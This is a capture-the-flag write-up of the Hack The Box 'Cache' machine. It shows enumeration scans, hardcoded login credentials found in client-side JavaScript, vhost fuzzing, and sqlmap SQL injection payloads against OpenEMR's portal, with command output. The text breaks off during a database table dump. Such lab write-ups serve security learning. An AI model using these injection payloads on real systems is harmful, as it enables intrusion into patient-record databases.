Hack The Box: Cache Write-up
Overview
This writeup documents the methods I used to compromise the Cache machine on the Hack The Box internal Labs network. Cache was a Medium rated Linux box created by ASHacker, worth 30 points while it was active. This writeup includes descriptions of the methodologies I used to enumerate exposed services on the machine, fuzz for additional vhosts, exploit a vulnerability in the OpenEMR web application, abuse memcache to leak sensitive credentials, and abuse docker permissions to gain root-level compromise.
Kill Chain
Automated Enumeration
The first automated enumeration scan I ran against the target host was an Nmap full TCP port scan.
I used the -vvflag to display more verbose output, --reason to display the reason a port is in a particular state, -Pn to skip the host discovery checks, -A to enable OS and version detection, --osscan-guess to enable aggressive OS guessing, --version-all to try every single version probe, and -p- to scan the entire range of potentially exposed TCP ports.
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.188
# Nmap 7.80 scan initiated Wed Jul 29 19:05:06 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up, received user-set (0.030s latency).
Scanned at 2020-07-29 19:05:08 EDT for 70s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
| 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/29%OT=22%CT=1%CU=38447%PV=Y%DS=2%DC=T%G=Y%TM=5F2200E
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=106%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%
OS:DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)U1(R=N)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Uptime guess: 17.880 days (since Sat Jul 11 21:59:21 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 30.30 ms 10.10.14.1
2 30.62 ms 10.10.10.188
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 29 19:06:18 2020 -- 1 IP address (1 host up) scanned in 72.16 seconds
The initial port scan had detected two open ports, the ssh service listening on tcp/22 and the http service listening on tcp/80. I made a note of the versions and identities of the listening services as detected by Nmap's banner grabs, then continued with my port enumeration. I started my port-specific Nmap script scans by targeting SSH on tcp/22. I added the -sV flag to have Nmap probe the port to determine the service/version info, -p to specify port 22, and --script=""to specify the SSH Nmap scripts.
nmap -vv --reason -Pn -sV -p 22 --script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN tcp_22_ssh_nmap.txt 10.10.10.188
# Nmap 7.80 scan initiated Wed Jul 29 19:05:16 2020 as: nmap -vv --reason -Pn -sV -p 22 --script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN tcp_22_ssh_nmap.txt 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up, received user-set (0.032s latency).
Scanned at 2020-07-29 19:05:17 EDT for 1s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb3lyySrN6q6RWe0mdRQOvx8TgDiFAVhicR1h3UlBANr7ElILe7ex89jpzZSkhrYgCF7iArq7PFSX+VY52jRupsYJp7V2XLY9TZOq6F7u6eqsRA60UVeqkh+WnTE1D1GtQSDM2693/1AAFcEMhcwp/Z7nscp+PY1npxEEP6HoCHnf4h4p8RccQuk4AdUDWZo7WlT4fpW1oJCDbt+AOU5ylGUW56n4uSUG8YQVP5WqSspr6IY/GssEw3pGvRLnoJfHjARoT93Fr0u+eSs8zWhpHRWkTEWGhWIt9pPI/pAx2eAeeS0L5knZrHppoOjhR/Io+m0i1kF1MthV+qYjDjscf
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAHWTqc7a2Az0RjFRBeGhfQkpQrBmEcMntikVFn2frnNPZklPdV7RCy2VW7Ae+LnyJU4Nq2LYqp2zfps+BZ3H4=
| 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMnbsx7/pCTUKU7WwHrL/d0YS9c99tRraIPvg5zrRpiF
| ssh2-enum-algos:
| kex_algorithms: (10)
| curve25519-sha256
| curve25519-sha256@libssh.org
| ecdh-sha2-nistp256
| ecdh-sha2-nistp384
| ecdh-sha2-nistp521
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group16-sha512
| diffie-hellman-group18-sha512
| diffie-hellman-group14-sha256
| diffie-hellman-group14-sha1
| server_host_key_algorithms: (5)
| ssh-rsa
| rsa-sha2-512
| rsa-sha2-256
| ecdsa-sha2-nistp256
| ssh-ed25519
| encryption_algorithms: (6)
| chacha20-poly1305@openssh.com
| aes128-ctr
| aes192-ctr
| aes256-ctr
| aes128-gcm@openssh.com
| aes256-gcm@openssh.com
| mac_algorithms: (10)
| umac-64-etm@openssh.com
| umac-128-etm@openssh.com
| hmac-sha2-256-etm@openssh.com
| hmac-sha2-512-etm@openssh.com
| hmac-sha1-etm@openssh.com
| umac-64@openssh.com
| umac-128@openssh.com
| hmac-sha2-256
| hmac-sha2-512
| hmac-sha1
| compression_algorithms: (2)
| none
|_ zlib@openssh.com
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 29 19:05:18 2020 -- 1 IP address (1 host up) scanned in 2.35 seconds
The authentication script detected that in addition to publickey authentication, password authentication was also accepted by this SSH server. I made a note of this in case I found any sensitive information later that might have allowed me to engage in any password-based attack attempts. I followed up the SSH script scan with an HTTP script scan targeting tcp/80. The only change I made when invoking nmap was to update the --script= flag to match http and ssl scripts.
nmap -vv --reason -Pn -sV -p 80 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN tcp_80_http_nmap.txt 10.10.10.188
# Nmap 7.80 scan initiated Wed Jul 29 19:05:16 2020 as: nmap -vv --reason -Pn -sV -p 80 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN /root/cybersecurity/htb/boxes/10.10.10.188-cache/scans/tcp_80_http_nmap.txt -oX /root/cybersecurity/htb/boxes/10.10.10.188-cache/scans/xml/tcp_80_http_nmap.xml 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up, received user-set (0.033s latency).
Scanned at 2020-07-29 19:05:18 EDT for 30s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-auth-finder:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.188
| url method
|_ http://10.10.10.188:80/login.html FORM
|_http-chrono: Request times for /; avg: 259.66ms; min: 195.27ms; max: 331.56ms
| http-comments-displayer:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.188
|
| Path: http://10.10.10.188:80/index.html
| Line number: 321
| Comment:
| <!--marquee behavior="alternate" direction="up" width="80%"><marquee direction="right">TEXT</marquee></marquee-->
|
| Path: http://10.10.10.188:80/jquery/functionality.js
| Line number: 21
| Comment:
| /* Act on the event */
|
| Path: http://10.10.10.188:80/index.html
| Line number: 220
| Comment:
| <!--For setiing the style in which option will come on clicking Lms Navigation-->
|
| Path: http://10.10.10.188:80/index.html
| Line number: 163
| Comment:
| <!--/head>
| <body-->
|
| Path: http://10.10.10.188:80/contactus.html
| Line number: 135
| Comment:
| <!-- Add font awesome icons -->
|
| Path: http://10.10.10.188:80/news.html
| Line number: 50
| Comment:
|_ // Change image every 7 seconds
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.188
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.10.10.188:80/contactus.html
| Form id: fname
| Form action: contactus.html#
|
| Path: http://10.10.10.188:80/login.html
| Form id: loginform
|_ Form action: net.html
|_http-date: Wed, 29 Jul 2020 23:10:53 GMT; +5m18s from local time.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-drupal-enum: Nothing found amongst the top 100 resources,use --script-args number=<number|all> for deeper analysis)
| http-enum:
|_ /login.html: Possible admin folder
|_http-errors: Couldn't find any error pages.
|_http-feed: Couldn't find any feeds.
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-headers:
| Date: Wed, 29 Jul 2020 23:10:52 GMT
| Server: Apache/2.4.29 (Ubuntu)
| Last-Modified: Wed, 06 May 2020 09:03:19 GMT
| ETag: "2001-5a4f70909088c"
| Accept-Ranges: bytes
| Content-Length: 8193
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
|_http-malware-host: Host appears to be clean
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Logo query returned unknown hash a0dc3108bec9a116fab8c03f27c913dc
|_Credits query returned unknown hash a0dc3108bec9a116fab8c03f27c913dc
| http-referer-checker:
| Spidering limited to: maxpagecount=30
| https://cdnjs.cloudflare.com:443/ajax/libs/materialize/0.100.2/js/materialize.min.js
|_ https://ajax.googleapis.com:443/ajax/libs/jquery/3.1.1/jquery.min.js
|_http-security-headers:
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1; html: 6; jpg: 5
| /jquery/
| js: 1
| Longest directory structure:
| Depth: 1
| Dir: /jquery/
| Total files found (by extension):
|_ Other: 1; html: 6; jpg: 5; js: 1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Cache
| http-useragent-tester:
| Status for browser useragent: 200
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| libwww
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
|_ WWW-Mechanize/1.34
| http-vhosts:
|_127 names had status 200
|_http-wordpress-enum: Nothing found amongst the top 100 resources,use --script-args search-limit=<number|all> for deeper analysis)
|_http-wordpress-users: [Error] Wordpress installation was not found. We couldn't find wp-login.php
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 29 19:05:48 2020 -- 1 IP address (1 host up) scanned in 31.99 seconds
The first thing I noticed while reviewing the HTTP script scan output was the file names detected by the http-comments script, along with the presence of /login.html. The last automated enumeration action I performed was to fuzz the web root directory with gobuster. I invoked the command with the -o flag to set the output file, -u to specify the URL to fuzz, -w to specify the wordlist to use, -e to print the full URL for each successful result, -k skip SSL certificate verification, -l to include the length of the body in the output, -s to specify positive status codes,-x to specify the file extensions to search for, and -z suppress the progress display.
gobuster dir -u http://10.10.10.188:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e -k -l -s "200,204,302,307,401,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o tcp_80_http_gobuster.txt
/author.html (Status: 200) [Size: 1522]
/contactus.html (Status: 200) [Size: 2539]
/index.html (Status: 200) [Size: 8193]
/index.html (Status: 200) [Size: 8193]
/javascript (Status: 301) [Size: 317]
/jquery (Status: 301) [Size: 313]
/login.html (Status: 200) [Size: 2421]
/net.html (Status: 200) [Size: 290]
/news.html (Status: 200) [Size: 7231]
It looked like there were a couple more pages in the web root directory than I gathered from the Nmap scans, but nothing that changed my impression of the site layout. It appeared to be a flat structure with just a few plain HTML pages in the root directory.
MANUAL ENUMERATION
The next step I took was to navigate to a few of the HTML pages I had discovered.
The page at /index.html appeared to be a sort of hacking FAQ.
The page at /author.html was a standard bio page. Since the author name was spelled in all caps, I thought it might be a handle or username as opposed to a legal name, and made a note of it.
The page at /login.html looked like a standard POST-form authentication page.
Prior to launching any attacks against /login.html that could advertise my intentions, or trip a fail2ban rule or something, I decided to fuzz the two folders discovered during my initial fuzzing. The /javascript folder seemed pretty common based on my experience, so I chose to begin with the /jquery folder first. I navigated to the page in my browser before kicking off a fuzzing scan just to see in directory indexing was enabled, and it was!
I opened up the the only listed file, functionality.js. I wasn't expecting much based on its location and name, and probably would have skimmed over it if this folder had been full of files.
$(function(){
var error_correctPassword = false;
var error_username = false;
function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username - $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
$("#loginform").submit(function(event) {
/* Act on the event */
error_correctPassword = false;
checkCorrectPassword();
error_username = false();
checkCorrectUsername();
if(error_correctPassword == false && error_username ==false){
return true;
}
else{
return false;
}
});
});
It was a good thing I didn't though, because the file appeared to be the source code for the js function that handled the authentication logic for /login.html. Since the username and password were right there in plain text I copied them and switched back to login.html and attempted to authenticate with them.
The credentials ash:H@v3_fun allowed be to successfully authenticate. My browser immediately redirected to a new page I had not discovered during my fuzzing, /net.php.
Since that worked, I immediately tried to authenticate with the same credentials over SSH, but that was not successful. At this point, I knew that I had to be missing something that was right in front of me. Even though I had discovered a set of valid credentials, they didn't move me towards remote code execution or a shell on the target host in any way.
DISCOVERING VHOST
While reviewing the information I had access to, I noticed a section on /author.html that referenced another project like Cache from ASH, HMS (Hospital Management System).
The first place I searched for references to this project was GitHub, but I couldn't find any results through Google that looked in any way promising. Since cache.htb was prominently featured on the same page, I decided to fuzz for any other vhosts on the target host. In order to fuzz for vhosts, I invoked wfuzz with the -z flag to specify the wordlist to use, -H to specify the hostname schema to use with the wordlist, -u to specify the target IP, and --hc to specify an invalid HTTP response code.
wfuzz -z list,/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "HOST: FUZZ.htb" -u http://10.10.10.188/ --hc 200
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.188/
Total requests: 114532
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000690: 400 12 L 53 W 422 Ch "gc._msdcs - gc._msdcs"
000009543: 400 12 L 53 W 422 Ch "#www - #www"
000010200: 302 0 L 0 W 0 Ch "hms - hms"
000010595: 400 12 L 53 W 422 Ch "#mail - #mail"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:50: UserWarning:Finishing pending requests...
Total time: 231.3082
Processed Requests: 25521
Filtered Requests: 25516
Requests/sec.: 110.3332
I had forgotten to filter out code 400 with --hc also, but there was a 302 hit for hms.htb. I added this vhost to the /etc/hosts file on my Kali host, then attempted to hit it through my browser.
ATTACKING DBMS
This authentication page showed the software name OpenEmr in the footer. Searchsploit returned many results, but I didn't have any version information to narrow down my options. I ended up looking at the exploit named OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution because it appeared to be applicable to the most recent version with results and all versions below as well. The Exploit-DB article contained a link to this OpenEMR Simulated Attack YouTube video.
After reviewing the attack methodology demonstrated in the YouTube video, I first navigated to hms.htb/portal then clicked the Register link. With my browser still on the registration page, I pasted http://hms.htb/portal/add_edit_event_user.php?eid=1' into the address bar and submitted the request in an attempt to trigger an SQL query error.
I pulled up the request that triggered the error in Burp Suite and saved it as openemr-sqli.req.
cat openemr-sqli.req
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.109 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OpenEMR=oudkglbshibkonj1pae5t4bd15; PHPSESSID=b8ec3rvsim32g6dj3k7jqumdi5
Connection: close
I then invoked sqlmap with the -r flag to load the HTTP request file, --threads to specify the number of concurrent requests sent by the tool, and --dbs to enumerate DBMS databases.
sqlmap -r openemr-sqli.req --threads=10 --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.4.6#stable}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:34:03 /2020-08-02/
[18:34:03] [INFO] parsing HTTP request from 'openemr-sqli.req'
[18:34:03] [INFO] testing connection to the target URL
[18:34:04] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
[18:34:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:34:04] [INFO] testing if the target URL content is stable
[18:34:04] [INFO] target URL content is stable
[18:34:04] [INFO] testing if GET parameter 'eid' is dynamic
[18:34:04] [WARNING] GET parameter 'eid' does not appear to be dynamic
[18:34:04] [INFO] heuristic (basic) test shows that GET parameter 'eid' might be injectable (possible DBMS: 'MySQL')
[18:34:04] [INFO] testing for SQL injection on GET parameter 'eid'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[18:34:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:34:15] [WARNING] reflective value(s) found and filtering out
[18:34:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:34:16] [INFO] GET parameter 'eid' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row")
[18:34:16] [INFO] testing 'Generic inline queries'
[18:34:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[18:34:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[18:34:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[18:34:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[18:34:16] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[18:34:16] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[18:34:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:34:16] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[18:34:16] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:34:16] [INFO] GET parameter 'eid' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[18:34:16] [INFO] testing 'MySQL inline queries'
[18:34:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[18:34:16] [WARNING] time-based comparison requires larger statistical model, please wait... (done)
[18:34:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[18:34:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[18:34:17] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[18:34:17] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[18:34:17] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[18:34:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:34:27] [INFO] GET parameter 'eid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[18:34:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:34:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:34:27] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:34:27] [INFO] target URL appears to have 4 columns in query
[18:34:27] [INFO] GET parameter 'eid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'eid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (5690=5690) THEN 1 ELSE (SELECT 2448 UNION SELECT 7011) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(5870,CONCAT(0x5c,0x71766a6a71,(SELECT (ELT(5870=5870,1))),0x7178707071))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 8366 FROM (SELECT(SLEEP(5)))NJSG)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a6a71,0x6a7145664d7a4756795a724a7357796d51774e434d6366655855554d454354524e534944544b4255,0x7178707071),NULL-- -
---
[18:34:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:34:32] [INFO] fetching database names
[18:34:32] [INFO] starting 2 threads
[18:34:32] [INFO] retrieved: 'information_schema'
[18:34:32] [INFO] retrieved: 'openemr'
available databases [2]:
[*] information_schema
[*] openemr
[18:34:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/hms.htb'
[18:34:32] [WARNING] you haven't updated sqlmap for more than 62 days!!!
[*] ending @ 18:34:32 /2020-08-02/
Armed with the database name, I invoked sqlmap again, this time adding the -D flag to specify the target database and --tables to enumerate the available tables.
sqlmap -r openemr-sqli.req --threads=10 -D openemr --tables
___
__H__
___ ___[,]_____ ___ ___ {1.4.6#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibil
ity to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or da
mage caused by this program
[*] starting @ 18:39:09 /2020-08-02/
[18:39:09] [INFO] parsing HTTP request from 'openemr-sqli.req'
[18:39:09] [INFO] resuming back-end DBMS 'mysql'
[18:39:09] [INFO] testing connection to the target URL
[18:39:09] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: eid=(SELECT (CASE WHEN (5690=5690) THEN 1 ELSE (SELECT 2448 UNION SELECT 7011) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(5870,CONCAT(0x5c,0x71766a6a71,(SELECT (ELT(5870=5870,1))),0x7178707071))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: eid=1 AND (SELECT 8366 FROM (SELECT(SLEEP(5)))NJSG)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766a6a71,0x6a7145664d7a4756795a724a7357796d51774e434d6366655855554d454354524e534944544b4255,0x7178707071),NULL-- -
---
[18:39:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[18:39:09] [INFO] fetching tables for database: 'openemr'
[18:39:09] [INFO] starting 10 threads
Database: openemr
[234 tables]
+---------------------------------------+
| array |
| groups |
| sequences |
| version |
| addresses |
| amc_misc_data |
| amendments |
| amendments_history |
| ar_activity |
| ar_session |
| audit_details |
| audit_master |
| automatic_notification |
| background_services |
| batchcom |
| billing |
| calendar_external |
| categories |
| categories_seq |
| categories_to_documents |
| ccda |
| ccda_components |
| ccda_field_mapping |
| ccda_sections |
| ccda_table_mapping |
| chart_tracker |
| claims |
| clinical_plans |
| clinical_plans_rules |
| clinical_rules |
| clinical_rules_log |
| code_types |
| codes |
| codes_history |
| config |
| config_seq |
| customlists |
| dated_reminders |
| dated_reminders_link |
| direct_message_log |
| documents |
| documents_legal_categories |
| documents_legal_detail |
| documents_legal_master |
| drug_inventory |
| drug_sales |
| drug_templates |
| drugs |
| eligibility_response |
| eligibility_verification |
| employer_data |
| enc_category_map |
| erx_drug_paid |
| erx_narcotics |
| erx_rx_log |
| erx_ttl_touch |
| esign_signatures |
| extended_log |
| external_encounters |
| external_procedures |
| facility |
| facility_user_ids |
| fee_sheet_options |
| form_care_plan |
| form_clinical_instructions |
| form_dictation |
| form_encounter |
| form_eye_mag |
| form_eye_mag_dispense |
| form_eye_mag_impplan |
| form_eye_mag_orders |
| form_eye_mag_prefs |
| form_eye_mag_wearing |
| form_functional_cognitive_status |
| form_group_attendance |
| form_groups_encounter |
| form_misc_billing_options |
| form_observation |
| form_reviewofs |
| form_ros |
| form_soap |
| form_taskman |
